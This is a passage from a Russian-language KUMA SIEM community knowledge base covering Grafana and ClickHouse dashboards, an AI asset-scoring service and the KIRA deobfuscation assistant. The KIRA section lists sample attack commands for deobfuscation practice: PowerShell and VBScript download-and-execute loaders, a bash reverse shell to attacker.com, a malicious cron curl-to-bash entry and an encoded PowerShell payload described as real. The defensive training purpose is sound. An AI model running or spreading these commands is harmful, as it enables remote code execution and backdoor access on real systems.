  "sql": "SELECT count(Timestamp) as TotalEvents FROM events LIMIT 1"
}
```

Нам нужно забирать время с дашборда Grafana и запрос берем также с переменной:

```json
{
  "period": {
    "from": "${__from:date:iso}",
    "to": "${__to:date:iso}"
  },
  "emptyFields": true,
  "rawTimestamps": true,
  "sql": "${sqlQuery:raw}"
}
```

Сохраняем – проверяем:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/jfgimage.png)

Далее создадим более дашборд с вшитым запросом. Допустим это будет статистика неуспешных авторизаций.

В теле будет:

```json
{
  "period": {
    "from": "${__from:date:iso}",
    "to": "${__to:date:iso}"
  },
  "emptyFields": true,
  "rawTimestamps": true,
  "sql": "SELECT count(ID) AS `Количество обращений`, DestinationAddress, DestinationCountry AS `Страна` FROM `events` WHERE EventOutcome = 'failed' AND DeviceEventClassID = 'USER_AUTH' GROUP BY DestinationAddress, DestinationCountry ORDER BY count(ID) DESC LIMIT 250" 
}
```

И вывод:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/hcXimage.png)

### Метод подключения напрямую в ClickHouse

<p class="callout warning">Не проверялось на версиях KUMA 4+</p>

Скачиваем и устанавливаем плагин:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/scaled-1680-/PqDimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-07/PqDimage.png)

Далее настраиваем в Connections (в старых версиях: Home - Administration - **Data sources)** по этому плагину:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/7nkimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/7nkimage.png)

Предварительно проверьте доступ к порту 8123, если доступа нет, обеспечьте его, например, проборосом портов.

<p class="callout info">URL: https://10.68.85.126:8123?allowMultiQueries=true (можете также указать хостнейм, в случае иcпользования **плагина Altinity**)</p>

Копируем содержимое ключевой информации в нужные секции:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/eArimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/eArimage.png)

<div id="bkmrk-%D0%9E%D0%BD%D0%B8-%D0%B1%D0%B5%D1%80%D1%83%D1%82%D1%81%D1%8F-%D0%B8%D0%B7-%D1%85%D1%80%D0%B0%D0%BD%D0%B8">Они берутся из хранилища по путям:</div><div id="bkmrk-%D0%B4%D0%BB%D1%8F-%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%B9-kuma-%D0%B4%D0%BE-4"><details><summary>для версий KUMA до 4</summary>

- /opt/kaspersky/kuma/clickhouse/certificates/cert.pem
- /opt/kaspersky/kuma/clickhouse/certificates/key.pem

</details></div><div id="bkmrk-%D0%B4%D0%BB%D1%8F-%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%B9-kuma-4%2B-%2F"><details><summary>для версий KUMA 4+</summary>

- /opt/kaspersky/kuma/storage/&lt;ID хранилища&gt;/certificates/internal.cert
- /opt/kaspersky/kuma/storage/&lt;ID хранилища&gt;/certificates/internal.key

</details></div><div id="bkmrk-%D0%97%D0%B0%D1%82%D0%B5%D0%BC-%D0%B2%D0%BD%D0%B8%D0%B7%D1%83-%D0%BD%D0%B0%D0%B6%D0%B8%D0%BC%D0%B0%D0%B5%D0%BC">Затем внизу нажимаем на кнопку **Save &amp; Test**.</div><div id="bkmrk--16">  
</div><div id="bkmrk-%D0%9F%D1%80%D0%B8-%D0%BA%D0%BE%D1%80%D1%80%D0%B5%D0%BA%D1%82%D0%BD%D0%BE%D1%81%D1%82%D0%B8-%D0%BD%D0%B0%D1%81">При корректности настроек и сетевых доступов должны получить следующее:</div>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/PBFimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/PBFimage.png)

Создаем дашборд со своими панелями (виджетами), пример:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/bUHimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/bUHimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/1wjimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/1wjimage.png)

Пример запроса:

```sql
SELECT  count(ID), DestinationUserName FROM kuma.events_local_v2 WHERE $__timeFilter_ms(Timestamp) AND DeviceEventClassID='4624'GROUP BY DestinationUserName
```

Переменная **$\_\_timeFilter\_ms(Timestamp)** обеспечивает проброс промежутка времени из графаны в запрос:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/c7simage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/c7simage.png)

Чтобы поменять тип отображения можно выбрать другое представление тут:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/lDeimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/lDeimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/mJVimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/mJVimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/l6cimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/l6cimage.png)

Сохраняем и применяем панель/представление, далее подобным образом можно создать другие панели.

# Интеграция Grafana c VictoriaMetrics (Prometheus) в KUMA

<p class="callout info">Интеграция является не официальной (не поддерживается)</p>

<p class="callout info">Интеграция возможна для версий KUMA **до 4.0**</p>

Для начала нам понадобится сетевой доступ к локальной Victoria Metrics, находящейся на Core.

Для этого понадобится простой reverse-proxy (есть также и другие способы), в нашем случае мы будем слушать порт 1777, пример конфига для nginx:

```nginx
server {

     listen   1777;
     server_name victoriametrics.kuma.local;

     location / {
             proxy_set_header X-Real-IP  $remote_addr;
             proxy_set_header X-Forwarded-For $remote_addr;
             proxy_set_header Host $host;
             proxy_pass http://127.0.0.1:9090;
     }
}
```

И рестартуем nginx.

Далее идём в нашу Grafana и добавляем соединение Prometheus (как на скриншоте):

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/scaled-1680-/image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/image.png)

Заполняем основные поля Name и URL и сохраняем:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/scaled-1680-/XSUimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/XSUimage.png)

Основная часть интеграции готова, теперь при построении дашборда мы можем использовать метрики KUMA, пример на скриншоте.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/scaled-1680-/wTLimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2024-11/wTLimage.png)

# AI Скоринг активов

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/help/KUMA/3.4/ru-RU/292784.htm](https://support.kaspersky.com/help/KUMA/3.4/ru-RU/292784.htm) </p>

### Описание

AI-сервис позволяет уточнить критичность корреляционных событий, сгенерированных в результате срабатывания правил корреляции.

AI-сервис получает из доступных кластеров хранения корреляционные события, содержащие непустое поле Affected assets, выстраивает ожидаемую последовательность событий и обучает модель AI. На основании цепочки срабатываний корреляционных правил AI-сервис высчитывает, является ли такая последовательность срабатываний характерной в этой инфраструктуре. Нехарактерные паттерны повышают рейтинг актива.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/IVlimage.png)

По результатам расчетов AI-сервиса в карточке активов становится доступным для просмотра Рейтинг AI и Статус. Рейтинг – это число, которое отражает степень нетипичной активности на активе, на которую стоит обратить внимание. Доступные значения поля Статус: Low, Medium, High, Critical.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/qfOimage.png)

После каждого перезапуска AI-сервиса, AI-сервис заново обучает модель и выполняет переоценку рейтинга активов, указанных в событиях за сегодня. Активы со скорингом выглядят следующим образом:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-04/scaled-1680-/4WOimage.png)

В директории, указанной в конфигурационном файле, хранятся события, которые AI-сервис получил из кластеров хранения KUMA за указанное количество дней. Например, если в конфигурационном файле указано 12 дней (period\_for\_train\_days), AI-сервис будет получать события за последние 12 дней. Самые давние события удаляются из директории. В этой же директории будет храниться обученная модель.

Переобучение модели происходит в полночь по UTC. Переоценка рейтинга активов происходит раз в час для всех активов, которые были в событиях за сегодня по UTC.

Если лицензию удалить, поля Рейтинг AI и Статус будут скрыты из карточки актива. Если лицензию снова добавить, значения полей Рейтинг AI и Статус снова будут отображаться.

Журналы сервиса хранятся в /var/log/syslog.

### Установка

1. Скачайте архив: [**ссылка**](https://box.kaspersky.com/d/f26ee34f11cd45b79eeb/). Архив содержит скрипты для установки и удаления сервиса, а также конфигурационный файл `config.yaml`.
2. В конфигурационном файле `config.yaml` укажите порт, по которому хост Ядра будет ожидать подключения от AI-сервиса. Например, в установке в отказоустойчивой конфигурации должен быть указан порт 7226. Для остальных параметров можно оставить значения по умолчанию.
3. В веб-интерфейсе KUMA скачайте **AI service certificate (в меню пользователя) и поместите его в *roles/mlservice/files*![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-02/scaled-1680-/5HVimage.png)
4. Перейдите в директорию с файлами сервиса и из этой папки выполните команду: `bash ./install <путь к ИНВЕНТОРИ.yaml>`
5. По умолчанию сервис устанавливается на хост с Ядром. Если вы хотите установить сервис на другой хост, укажите в конфигурационном файле `<hostname>:<port>` ядра KUMA в `kuma_address` и убедитесь в наличии сетевого доступа.
6. Установщик генерирует необходимые сертификат и ключ в процессе установки и помещает их в директории, указанные в конфигурационном файле, по умолчанию: `/opt/kaspersky/mlservice/`. Сертификат необходимо загрузить в KUMA. В веб-интерфейсе KUMA в разделе (появляется при наличии лицензии AI) **Параметры – AI-сервис** во вкладке **AI рейтинг и статус активов** заполните следующие поля:

- - В поле **URL** укажите **адрес и номер порта**, по которому Ядро будет ожидать подключения от AI-сервиса. Например, **:7226** (означает поднять порт на ядре 0.0.0.0:7226). Номер порта должен соответствовать указанному в конфигурационном файле.
    - В поле **Сертификат** в раскрывающемся списке выберите Создать и в открывшемся окне Создание сертификата укажите тип сертификата Certificate и загрузите сертификат из директории, указанной в конфигурационном файле, по умолчанию `/opt/kaspersky/mlservice/service.crt`.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-02/scaled-1680-/Ufjimage.png)

Сразу после установки сервис будет пытаться в течение 15 минут подключиться к KUMA с интервалом в 1 минуту. Если сертификат не добавлен в веб-интерфейсе KUMA, подключение не будет выполнено и сервис остановится. В таком случае можно добавить сертификат и перезапустить (`systemctl restart mlservice.service`) AI-сервис, сервис опять попробует подключиться. AI-сервис установлен.

# Работа с KIRA и примеры использования (юзкейсы)

<p class="callout info">Видео по работе KIRA и преимущества - [https://box.kaspersky.com/f/48a6de7a26044d9ea60c/](https://box.kaspersky.com/f/48a6de7a26044d9ea60c/) </p>

Kaspersky Investigation and Response Assistant предоставляет аналитикам инструменты для оперативного декодирования и деобфускации строк выполнения, извлечённых из событий безопасности в режиме реального времени. Данное решение оптимизирует процесс приоритизации инцидентов, сокращая время на анализ сложных данных, и снижает квалификационные требования для аналитиков первого уровня, что повышает общую эффективность системы реагирования на инциденты.

Ключевые преимущества:

- Ускорение цикла принятия решений;
- Снижение зависимости от высокой экспертизы сотрудников;
- Повышение точности ранжирования алертов.

---

### Как пользоваться

Перейдите из сработки алерта во все его события по кнопке **Найти в событиях**

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-04/scaled-1680-/eVIimage.png)

Далее, либо в корреляционном событии, либо в базовом на интеремующем поле нажать на "три точки" и затем проанализировать:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-04/scaled-1680-/eBmimage.png)

Возможность редактирования запроса перед отправкой в KIRA обеспечивает дополнительный уровень контроля над конфиденциальностью данных. Это особенно важно в случаях, когда анализируемые строки кода содержат чувствительную информацию, такую как персональные данные, учетные записи или ключи доступа.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-04/scaled-1680-/KqMimage.png)

По кнопке **Действия** можно посмотреть отчет о деобфускации:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-04/scaled-1680-/mYNimage.png)

---

### Примеры команд

<p class="callout warning">Команды не рабочие все ссылки заменены, но это не отменяет перепроверку и аккуратность использования</p>

#### Простая обфускация с использованием строк

```plaintext
$e=([char]0x68+[char]0x65+[char]0x6C+[char]0x6C+[char]0x6F);iex $e
```

#### Использование Base64 для кодирования

```plaintext
powershell.exe -Command "$s = [Sy\u0073tem.Text.En\u0063oding]::ASCII.GetString([Sy\u0073tem.Convert]::FromBase64String('aHR0cHM6Ly9tYWwwd2FyZS5ydS9wYXlsb2FkX3NvbWU=')); iwr $s -UseBasicParsing | iex"
```

#### Использование Base64 для кодирования с праметрами запуска PS

```plaintext
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2FiYzkxMXRlc3RLSVJBbGluay5jb20vZC9iYWNrZG9vcjEyMy5leGU=')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

#### Использование строковых манипуляций для скрытия команды

```plaintext
$cmd = 'powershell.exe -nop -w hidden -e ' + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Invoke-WebRequest "http://evil-some.com/malicious123.exe" -OutFile "malicious.exe"; Start-Process "malicious.exe"'))) iex ($cmd)
```

#### Использование альтернативных имен для стандартных команд

```plaintext
$cmd = New-Object System.Net.WebClient; $cmd.DownloadFile("http://evil-some.com/payload123.exe", "C:\path\to\payload.exe")
```

#### Обратный Shell (доступ через бэкдор)

```plaintext
bash -i >& /dev/tcp/attacker.com/4444 0>&1
```

#### Скрытие вредоносных заданий Cron

```plaintext
echo "*/5 * * * * curl bad.site/payload.sh | bash" >> /var/spool/cron/root
```

#### <span class="qwen-markdown-strong"><span class="qwen-markdown-text">Полезная нагрузка с загрузкой и выполнением через VBScript</span></span>

```
cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://example.com:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\ny.vbs" && "%temp%\ny.vbs"
```

#### <span class="qwen-markdown-strong"><span class="qwen-markdown-text">Вредоносная полезная нагрузка на VBScript с загрузкой и выполнением из веба</span></span>

```
cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://example.com:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%wk.vbs" && "%temp%wk.vbs"
```

#### <span class="qwen-markdown-strong"><span class="qwen-markdown-text">Обфусцированная PowerShell-полезная нагрузка с загрузкой и выполнением</span></span>

<p class="callout warning"><span class="qwen-markdown-strong"><span class="qwen-markdown-text">Выполняйте команду только в изолированной среде, она является реальным примером</span></span></p>

```
powershell -wind mi -Enc JwBhACcALAAnAHoAJwB8ACUAewAuACcAaQBlAHgAJwAoACgAKAAiAHcAaQB3AHIAbQAgADcANgAzADYAMwA4ADEAOQAxAC8AbABvAG0ALwAkAF8ALgBnAHcAaQBmAHwAdwBpAHcAZQB3AHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACcAdwAnACwAJwAnACkAKQApAH0A
```

#### <span class="qwen-markdown-strong"><span class="qwen-markdown-text">Загрузчик VBScript в Windows через curl</span></span>

```
cmd /c "curl -s http:/example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit"
```

```
cmd /c "curl -s http:/example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit"
```

# Обогащение телеметрии KEDR 7.1 ссылкой на алерт

<p class="callout warning">Скорее всего есть нюансы с распределенными инсталляциями KATA/KEDR. Не проверялось.</p>

Правило работает аналогично правилу обогащения \[OOTB\] KATA alert.

- Правило: [правило обогащения телеметрии KEDR.kuma](https://kb.kuma-community.ru/attachments/4)
- Пароль на ресурс: `q123123Q!KLaapt-M4`

1\. Добавить правило обогащения на коллектор, который собирает телеметрию KEDR.

![1.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-05/scaled-1680-/1.png)

2\. Найти интересующее событие в KUMA

![2.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-05/scaled-1680-/2.png)

3\. Перейти по ссылке в KATA/KEDR

![3.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-05/scaled-1680-/3.png)